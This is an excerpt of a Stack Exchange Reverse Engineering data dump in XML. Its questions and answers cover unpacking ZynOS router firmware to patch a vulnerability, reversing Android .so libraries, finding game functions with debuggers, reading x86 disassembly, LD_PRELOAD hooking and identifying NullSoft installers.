ContentLicense="CC BY-SA 3.0" />
  <row Id="4615" PostTypeId="1" CreationDate="2014-06-15T20:04:23.853" Score="5" ViewCount="12025" Body="&lt;p&gt;I am trying to modify a firmware for TD-W8961ND router because there is a vulnerability that could allow an attacker to download the configuration file of the router which exposes the router password &amp;amp; make him able to control the router's settings later on. I came across the idea to fix it from &lt;a href=&quot;http://piotrbania.com/all/articles/tplink_patch/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It was able to modify the firmware in virtual memory using the serial port which is not available to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, is there a possibility to apply what he suggested in the firmware then update the router ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The router firmware is named &lt;code&gt;ras&lt;/code&gt; and it was published on 25.11.2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using binwalk, it is apparent that the file is ZynOS. But, I really can't extract the signature as explained &lt;a href=&quot;http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/&quot; rel=&quot;nofollow&quot;&gt;there&lt;/a&gt; and I really don't know what to do later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;binwalk output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~$ binwalk ras&#xA;&#xA;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------------------&#xA;84992       0x14C00     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 66824, compressed size: 16870, uncompressed checksum: 0xF480, compressed checksum: 0xF03A, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;85043       0x14C33     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66824 bytes&#xA;128002      0x1F402     GIF image data, version &quot;89a&quot;, 200 x 50&#xA;136194      0x21402     GIF image data, version &quot;89a&quot;, 560 x 50&#xA;326749      0x4FC5D     Copyright string: &quot; (c) 2001 - 2011 TP-LINK TECHNOLOGIES CO., LTD.LOGIES CO., LTD.&quot;&#xA;349184      0x55400     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 102400, compressed size: 55931, uncompressed checksum: 0xC892, compressed checksum: 0xC30C, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;349235      0x55433     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 102400 bytes&#xA;405248      0x62F00     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 102400, compressed size: 59174, uncompressed checksum: 0x8D2B, compressed checksum: 0x66BC, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;405299      0x62F33     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 102400 bytes&#xA;464640      0x71700     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 102400, compressed size: 52399, uncompressed checksum: 0xA2DE, compressed checksum: 0x917A, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;464691      0x71733     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 102400 bytes&#xA;517120      0x7E400     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 102400, compressed size: 63920, uncompressed checksum: 0xFEC9, compressed checksum: 0xA7FD, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;517171      0x7E433     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 102400 bytes&#xA;581120      0x8DE00     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 102400, compressed size: 54909, uncompressed checksum: 0xF811, compressed checksum: 0x3544, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;581171      0x8DE33     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 102400 bytes&#xA;636160      0x9B500     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 102400, compressed size: 61051, uncompressed checksum: 0x36F3, compressed checksum: 0x6A1, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;636211      0x9B533     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 102400 bytes&#xA;697344      0xAA400     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 102400, compressed size: 54463, uncompressed checksum: 0x30D8, compressed checksum: 0x9AB9, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;697395      0xAA433     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 102400 bytes&#xA;751872      0xB7900     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 12440, compressed size: 6879, uncompressed checksum: 0x5C0A, compressed checksum: 0x1945, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;751923      0xB7933     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 12440 bytes&#xA;759040      0xB9500     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 3914416, compressed size: 884839, uncompressed checksum: 0xA904, compressed checksum: 0x73E3, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;759091      0xB9533     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3914416 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the guy who revealed the exploit suggested that there isn't Lzma compressed data in the image as it seems to be &amp;amp; it is just big chunk of data in clear text.&lt;/p&gt;&#xA;" OwnerUserId="5857" LastEditorUserId="5857" LastEditDate="2014-06-16T01:59:24.270" LastActivityDate="2015-09-14T15:53:37.837" Title="Unpack &amp; repack a firmware for use as an updated version?" Tags="|disassembly|firmware|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4616" PostTypeId="2" ParentId="4615" CreationDate="2014-06-16T00:33:35.840" Score="2" Body="&lt;p&gt;You could try using &lt;a href=&quot;https://code.google.com/p/firmware-mod-kit/&quot; rel=&quot;nofollow&quot;&gt;firmware-mod-kit&lt;/a&gt; and see if you get any further, although firmware-mod-kit is geared to Linux specifically so it may not help that much.  Sometimes I have found it can do things that &lt;code&gt;binwalk&lt;/code&gt; cannot (and vice-versa for that matter)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you may want to build &lt;code&gt;binwalk&lt;/code&gt; from the latest source try again.  &lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2014-06-16T00:33:35.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4618" PostTypeId="1" AcceptedAnswerId="6045" CreationDate="2014-06-16T12:05:49.690" Score="5" ViewCount="4431" Body="&lt;p&gt;I'm trying to extract the files from the &lt;a href=&quot;https://support.google.com/installer/answer/126299?hl=en&quot; rel=&quot;noreferrer&quot;&gt;Google Chrome offline installer&lt;/a&gt; as a reverse engineering exercise&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried extracting the data inside the installer PE. I tried pestudio which showed me two large embedded resources, however, pestudio had no option to dump them. Extracting the PE with 7-zip shows a file with the name &lt;code&gt;~102&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, 7zip cannot make out anything out of the &lt;code&gt;~102&lt;/code&gt; file. Viewing this file with a hex editor shows that it is a tar archive with around 20 bytes of additional info prepended to it. Removing these 20 bytes does not make it extractable, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I extract the files from the binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a complete noob in reverse engineering, so please correct my mistakes instead of downvoting my question. I'd also be grateful if someone can tell me of a tool which can extract such data from PE executables (instead of my very questionable use of 7-zip for this purpose which also fails for a large number of executables).&lt;/p&gt;&#xA;" OwnerDisplayName="user2183" LastEditorDisplayName="user2183" LastEditDate="2014-06-16T12:14:08.857" LastActivityDate="2014-08-09T11:23:55.690" Title="Extracting files from google chrome offline installer" Tags="|static-analysis|pe|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4620" PostTypeId="2" ParentId="4615" CreationDate="2014-06-16T12:29:08.380" Score="6" Body="&lt;p&gt;It's important to know that not all ZyNOS images are created equal, and the exact steps that worked for piotrbania (as referenced in your question) will likely not work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, ZyNOS is a Real Time Operating System, and you can think of the entire OS as just one big kernel (i.e., there is no user space or file systems or anything easy to deal with like that). Depending on the ZyNOS version, compiler version, compiler options, target architecture, etc., even the same source code will compile to a different sequence of bytes and instructions, and different versions/flavors of ZyNOS may be &quot;packaged&quot; very differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, I can almost guarantee that those LZMA signatures are valid, and probably contain some data/code. There is also probably raw, uncompressed code in the image as well (try binwalk -A to search for raw executable code). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some general steps that you'll need to accomplish what you want:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Decompress all compressed blocks and identify which ones, if any, contain executable code&lt;/li&gt;&#xA;&lt;li&gt;Disassemble all code (probably starting with any code that wasn't compressed to start with, since it's probably used to bootstrap the system and decompress the other sections of the firmware)&lt;/li&gt;&#xA;&lt;li&gt;Part of the disassembly process will be identifying the load address of each code section; without this, data xrefs won't make sense. Look for references to absolute memory addresses for hints (e.g., jumps to direct addresses, function tables, jump tables, etc).&lt;/li&gt;&#xA;&lt;li&gt;Now you can start actually reversing the code, looking for code that handles requests for the ras file. If you're lucky you'll have a symbol table which no disassembler will understand, so you'll have to write a script to parse the symbol table and rename all symbol addresses. If you aren't so lucky, identification of functions must be done manually.&lt;/li&gt;&#xA;&lt;li&gt;Once you have identified the code that needs to be patched, you can patch it in a similar manner to piotrbania, though obviously details may differ slightly for your firmware image.&lt;/li&gt;&#xA;&lt;li&gt;Re-compress and re-pack the firmware image parts, update all header checksums, then upload to your device and hope it doesn't turn into a paperweight. :)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, yes, this is certainly possible. But I'm not aware of a pre-built solution that will allow you to easily extract/patch/re-build the firmware, so it will take some effort to accomplish. Obviously, having some sort of debug access to the device (e.g., UART or JTAG) will help a lot, as evidenced by piotrbania's work.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-06-16T12:29:08.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4622" PostTypeId="2" ParentId="4609" CreationDate="2014-06-16T19:19:11.950" Score="6" Body="&lt;p&gt;Sorry, I can't post this as a comment but a couple of quick (and non-exhaustive) tests show the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;gcc (4.6.3) uses &lt;code&gt;or&lt;/code&gt; instead of &lt;code&gt;mov&lt;/code&gt; when optimising for size (&lt;code&gt;/Os&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;msvc (13) uses &lt;code&gt;or&lt;/code&gt; instead of &lt;code&gt;mov&lt;/code&gt; whatever the optimisation setting (including disabled)&lt;/li&gt;&#xA;&lt;li&gt;clang (3.0) uses &lt;code&gt;mov&lt;/code&gt; whatever the optimisation setting&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;gcc's behaviour, in particular, supports Peter Andersson's answer.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="2563" LastEditDate="2017-04-28T06:31:01.283" LastActivityDate="2017-04-28T06:31:01.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4623" PostTypeId="1" AcceptedAnswerId="4631" CreationDate="2014-06-16T23:19:11.793" Score="3" ViewCount="1024" Body="&lt;p&gt;Is it possible to determine if a binary  (static or shared and not stripped) is compiled with Linuxthreads or NPTL implementation ? &lt;/p&gt;&#xA;" OwnerUserId="3653" LastEditorUserId="3653" LastEditDate="2014-06-16T23:24:53.603" LastActivityDate="2016-08-27T19:32:46.853" Title="How to determine which thread implementation binary compiled with" Tags="|linux|elf|libraries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4624" PostTypeId="1" AcceptedAnswerId="4632" CreationDate="2014-06-17T07:09:58.757" Score="93" ViewCount="312736" Body="&lt;p&gt;I know how to reverse-engineer normal Android APKs using tools like &lt;code&gt;apktool&lt;/code&gt; and &lt;code&gt;dex2jar&lt;/code&gt;, but I don't know how to work with obfuscation.&lt;/p&gt;&#xA;&lt;p&gt;When I extract everything from APK, I get some Smali files (I tried JD-GUI, but the strings contained random names. Probably obfuscated using ProGuard.), some resource files, and a &amp;quot;.so&amp;quot; files in the &lt;code&gt;/lib&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I analyze the &amp;quot;.so&amp;quot; file? I know that SO files are kind of DLLs of the Linux world, but what are the tools that can be used to analyze SO files? Any links to videos would be very helpful.&lt;/li&gt;&#xA;&lt;li&gt;Also, how would I get around if there were a JAR file instead of an SO file in the APK?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I know this largely constitutes learning by myself, but I really don't know what to look or where to look. Some examples would be really helpful. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5865" LastEditorUserId="16786" LastEditDate="2023-10-26T09:45:13.333" LastActivityDate="2023-10-26T09:45:13.333" Title="How do I reverse-engineer .so files found in Android APKs?" Tags="|disassembly|binary-analysis|obfuscation|android|deobfuscation|" AnswerCount="9" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4625" PostTypeId="1" CreationDate="2014-06-17T10:28:35.567" Score="1" ViewCount="11409" Body="&lt;p&gt;There's one function I want to find in a game. When you fall through the game map you are &quot;teleported&quot; to specific &lt;code&gt;xyz&lt;/code&gt; coordinates. I used to have the memory address of this function, but since then the game has been patched and it no longer works. Also, this value was given to me by someone, so, I haven't found it myself. However, I did build the &lt;code&gt;DLL&lt;/code&gt; injection program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found the player's &lt;code&gt;xyz&lt;/code&gt; coordinates and the safe &lt;code&gt;xyz&lt;/code&gt; coordinate's pointer and offset values. So, this is the last piece of the puzzle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would guess you could use Ollydbg somehow to find this function, but I'm unsure of where to start and I usually just use &lt;code&gt;cheatengine&lt;/code&gt; to find all of my values.&lt;/p&gt;&#xA;" OwnerUserId="5867" LastEditorUserId="2354" LastEditDate="2014-06-18T09:55:09.800" LastActivityDate="2014-10-20T08:39:55.280" Title="How to find functions in games" Tags="|functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4626" PostTypeId="1" AcceptedAnswerId="4627" CreationDate="2014-06-17T10:30:17.550" Score="1" ViewCount="312" Body="&lt;p&gt;Right now I am playing around with a little &lt;em&gt;training&lt;/em&gt; application I found on &lt;a href=&quot;http://opensecuritytraining.info/&quot; rel=&quot;nofollow&quot;&gt;OpenSecurityTraining&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I analyzed this code and I think I understand this pretty well. The only thing I don't get is the &lt;code&gt;cmp&lt;/code&gt; and &lt;code&gt;je&lt;/code&gt; at lines &lt;code&gt;0x004010e3&lt;/code&gt; and &lt;code&gt;0x004010e7&lt;/code&gt; which seem to be some &lt;code&gt;if&lt;/code&gt; conditions. But, I cannot figure out which condition should be met to take the jump instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My workaround was to manipulate &lt;code&gt;eip&lt;/code&gt; when the &lt;code&gt;cmp&lt;/code&gt; line was executed. But, my question is what condition has to be set to take the &lt;code&gt;je&lt;/code&gt; instruction ? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004010e0 55              push    ebp&#xA;004010e1 8bec            mov     ebp,esp&#xA;004010e3 837d0803        cmp     dword ptr [ebp+8],3&#xA;004010e7 7412            je      mystery!main+0x1b (004010fb)&#xA;004010e9 6834404200      push    offset mystery!__rtc_tzz &amp;lt;PERF&amp;gt; (mystery+0x24034) (00424034)&#xA;004010ee e81c040000      call    mystery!printf (0040150f)&#xA;004010f3 83c404          add     esp,4&#xA;004010f6 83c8ff          or      eax,0FFFFFFFFh&#xA;004010f9 eb0b            jmp     mystery!main+0x26 (00401106)&#xA;004010fb e80affffff      call    mystery!mystery_function+0xffffffff`ffffffea (0040100a)&#xA;00401100 eb02            jmp     mystery!main+0x24 (00401104)&#xA;00401102 eb02            jmp     mystery!main+0x26 (00401106)&#xA;00401104 33c0            xor     eax,eax&#xA;00401106 5d              pop     ebp&#xA;00401107 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4690" LastEditorUserId="5839" LastEditDate="2014-06-17T13:37:25.300" LastActivityDate="2014-06-17T13:37:25.300" Title="Which condition has to be met to execute this if branch" Tags="|disassembly|assembly|debuggers|windbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4627" PostTypeId="2" ParentId="4626" CreationDate="2014-06-17T11:27:17.933" Score="5" Body="&lt;p&gt;Extended Base Pointer, as the name suggests, is usually used as a frame pointer. That, among other things, means that it's used to access function parameters and local variables. If you think about how stack works, you can conclude the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;local variables will be on the negative offset from the base pointer&lt;/li&gt;&#xA;&lt;li&gt;address in the frame pointer will be the location of the previous function's frame pointer &lt;/li&gt;&#xA;&lt;li&gt;address at the +4 offset from EBP will be the return address&lt;/li&gt;&#xA;&lt;li&gt;offsets greater than 4 are function parameters&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That being said, ebp+8 is usually the first function argument. The compare instruction in this case compares the value of the first function parameter to 3. If those are equal (&lt;code&gt;je&lt;/code&gt; instruction is &lt;code&gt;jump if equal&lt;/code&gt;) the conditional jump will be executed. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-06-17T11:27:17.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4628" PostTypeId="2" ParentId="4626" CreationDate="2014-06-17T11:27:31.167" Score="3" Body="&lt;p&gt;&lt;code&gt;dword ptr [val]&lt;/code&gt; is exactly, what it says: &lt;strong&gt;A 32bit pointer to value&lt;/strong&gt;. As to how &lt;code&gt;cmp&lt;/code&gt;, &lt;code&gt;je&lt;/code&gt; and all the other instructions work, I recommend the reading of the &lt;a href=&quot;http://www.intel.com/Assets/en_US/PDF/manual/253666.pdf&quot; rel=&quot;nofollow&quot;&gt;Intel Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5868" LastEditorUserId="53" LastEditDate="2014-06-17T11:50:36.577" LastActivityDate="2014-06-17T11:50:36.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4629" PostTypeId="2" ParentId="4625" CreationDate="2014-06-17T13:33:22.300" Score="3" Body="&lt;p&gt;If you can start the program under Ollydbg (many game clients have code that detects if the software runs under a debugger and terminate in one way or another if it does), you could set a hardware breakpoint on the memory address where your player coordinates are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This breakpoint will probably trigger quite often, everytime your player moves, so you should make it a &quot;logging&quot; breakpoint that logs the current address when it gets triggered, but allows the game to continue. After moving around and falling through the geometry, you will probably have a few memory addresses that triggered very often (when you moved), and some others that triggered only a few times (when you fell through and were repositioned). If you know what your function should look like, you'll probably recognize it when you disassemble around those few positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility would be getting the free version of IDA, use it to analyze the .exe file, then use the cross reference feature to find where a specific memory location is referenced. This has the advantage that it could work even if the executable has anti-debugger code, but if the executable doesn't access the memory location directly, you won't find anything. This could happen, for example, if the xyz coordinates are part of a larger structure, the software stores a pointer to the start of the structure somewhere, and only accesses the coordinates through that pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third approach, if you have the original code where your patch worked, would be to try and identify a byte sequence within the code that's uncommon enough (for example if it uses a specific constant somewhere) but doesn't depend on memory addresses, and search the new binary for the same byte sequence, in the hope the compiler produced the same code in the new executable.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-06-17T13:33:22.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4630" PostTypeId="2" ParentId="4625" CreationDate="2014-06-18T08:41:29.900" Score="3" Body="&lt;p&gt;So you are looking for the &lt;code&gt;teleport&lt;/code&gt; function if I understood you correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address you had will not work obviously, because the binary has changed. What I would do in your position is to get the previous version of the binary, for which you had the address of the function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the old binary in IDA/Olly and observe that function (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; or &lt;kbd&gt;G&lt;/kbd&gt; and paste the address). Look at the instruction opcodes, and try to get a pattern out of it. Just an example for a pattern, but you should end up with something like: &lt;code&gt;D9 05 B4 ?? 66 4C D1 ?? ?? ??&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should Google &quot;memory pattern scanner&quot; if you don't know about the concept, or how to create the pattern, you can find a lot of topics about it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since IDA can search for bytes, all you have to do is open the new binary in IDA and &quot;search for sequence of bytes&quot;, paste your byte pattern, and if your pattern is valid and you are lucky, you'll have a few results, one of them will be the &lt;code&gt;teleport&lt;/code&gt; function most likely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UDrAE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way I'd try it is this: You said you have the &lt;code&gt;address + offset&lt;/code&gt; combination to the coordinates. Add that memory location in Cheat Engine, and observe where it gets accessed in cheat engine, and hope that there is nothing quirky behind the scenes, you should get a list of places that reads/writes your coordinates, one of them will be probably your &lt;code&gt;teleport&lt;/code&gt; function you're after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o7PgQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget about rebasing the addresses if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2176/how-to-find-entities-enemies-array-pointer-with-cheat-engine&quot;&gt;See this question.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-10-20T08:39:55.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4631" PostTypeId="2" ParentId="4623" CreationDate="2014-06-18T14:07:50.397" Score="2" Body="&lt;p&gt;There are many ways, but I'll cite two. Usually, a binary file, if not stripped,  contains symbols (function names, variable names, ...). These symbols are usually used to ease debugging and are stored using a certain format, DWARF for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first method is to disassemble the binary and look for specific threading libraries related symbols. For example : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    objdump -D ./YOUR_PROGRAM | grep -i thread &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second one is to hijack the threading library function calls using your own library and &lt;strong&gt;LD_PRELOAD&lt;/strong&gt;. The concept is fairly simple, you write a library (.so) in which you implement the functions which you want to check for, let's say &lt;strong&gt;pthread_create&lt;/strong&gt; or &lt;strong&gt;pthread_join&lt;/strong&gt;, and reimplement it this way :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    int pthread_create(pthread_t *thread, &#xA;                       const pthread_attr_t *attr,&#xA;                       void *(*start_routine) (void *), &#xA;                       void *arg)&#xA;    {&#xA;          int ret;&#xA;          static void *(*ext_pthread_create)(pthread *, &#xA;                                             const pthread_attr_t *,&#xA;                                             void *,&#xA;                                             void *);&#xA;&#xA;          ext_pthread_create = dlsym(&quot;RTLD_NEXT&quot;, pthread_create);&#xA;          ret = ext_pthread_create(thread, attr, start_routine, arg);&#xA;&#xA;          printf(&quot;pthread_create called !\n&quot;);&#xA;&#xA;          return ret;&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All you have to do after compiling and testing your library is call yor program this way :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    LD_PRELOAD=hooklib.so ./YOUR_PROGRAM PARAMS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the function is called, you'll see the printf message on the standard output.  &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2016-08-27T19:32:46.853" LastActivityDate="2016-08-27T19:32:46.853" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4632" PostTypeId="2" ParentId="4624" CreationDate="2014-06-18T15:43:46.330" Score="105" Body="&lt;p&gt;The .so file is a compiled library, in most cases from C or C++ source code. .so stands for Shared Object, it doesn't have anything to do with obfuscation, it just means someone wrote parts of the app in C.&lt;/p&gt;&#xA;&lt;p&gt;In some cases, there is existing C code and it's just easier for the programmer to build a JNI interface to call the library from Java; in other cases, the programmer wants the speed advantage that compiled C has over Java. And of course, if I want to hide how some part of my application works, writing that in C and compiling it to a .so makes it much harder to reverse.&lt;/p&gt;&#xA;&lt;p&gt;If you want to reverse an Android .so, these are the options you have:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Buy the commercial version of IDA Pro. The demo versions will not do, as they can't disassemble ARM code. This is expensive, but by far the best tool to work with unknown object code.&lt;/li&gt;&#xA;&lt;li&gt;If the app includes versions of the .so for different hardware, and if it has a library for Android on x86, you can use the free IDA 5.1 version to disassemble it.&lt;/li&gt;&#xA;&lt;li&gt;If you have access to a Linux system, get a gcc toolchain for ARM that includes &lt;code&gt;objdump&lt;/code&gt;, and use &lt;code&gt;objdump --disassemble&lt;/code&gt; to get a huge text file containing disassembled code. Then, have fun with that text file. There might be gcc toolchains for ARM targets that run on Windows as well, but I never tried.&lt;/li&gt;&#xA;&lt;li&gt;You could also upload the .so file to &lt;a href=&quot;http://onlinedisassembler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://onlinedisassembler.com/&lt;/a&gt; to get a disassembled file, if you don't want to install a gcc toolchain.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Beware, though, in all of these cases, you need a thorough understanding of the ARM processor architecture, assembler language, JNI conventions, and compiler ABI to make any sense of the disassembly. Prepare for many long nights if you're inexperienced.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="16786" LastEditDate="2023-10-10T05:18:04.753" LastActivityDate="2023-10-10T05:18:04.753" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="4633" PostTypeId="1" AcceptedAnswerId="4634" CreationDate="2014-06-18T15:49:11.293" Score="1" ViewCount="1226" Body="&lt;p&gt;I'm looking for a way to recognize an executable file as a NullSoft installer. I´m trying to prove that a malicious software is capable of changing the PE signature so we can not trust in some tool tell us a PE is a NullSoft Installer only because it have found the NullSoft signature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated, recommended tools, etc ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading the Stolas's answer I decided to edit the question and add more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried with to use an hex editor on an original NullSoft installer and I searched for the string &lt;code&gt;NullSoft&lt;/code&gt; this yielded the following result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UJMrQ.png&quot; alt=&quot;Result for searching the string &amp;quot;Nullsoft&amp;quot; with UltrEedit.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The string was found in a &lt;code&gt;XML&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&#xA;&amp;lt;assembly xmlns=&quot;urn:schemas-microsoft-com:asm.v1&quot; manifestVersion=&quot;1.0&quot;&amp;gt;&#xA;    &amp;lt;assemblyIdentity version=&quot;1.0.0.0&quot; processorArchitecture=&quot;X86&quot; name=&quot;Nullsoft.NSIS.exehead&quot; type=&quot;win32&quot;/&amp;gt;&#xA;    &amp;lt;description&amp;gt;&#xA;        Nullsoft Install System v2.46&#xA;    &amp;lt;/description&amp;gt;&#xA;    &amp;lt;dependency&amp;gt;&#xA;        &amp;lt;dependentAssembly&amp;gt;&#xA;            &amp;lt;assemblyIdentity type=&quot;win32&quot; name=&quot;Microsoft.Windows.Common-Controls&quot; version=&quot;6.0.0.0&quot; processorArchitecture=&quot;X86&quot; 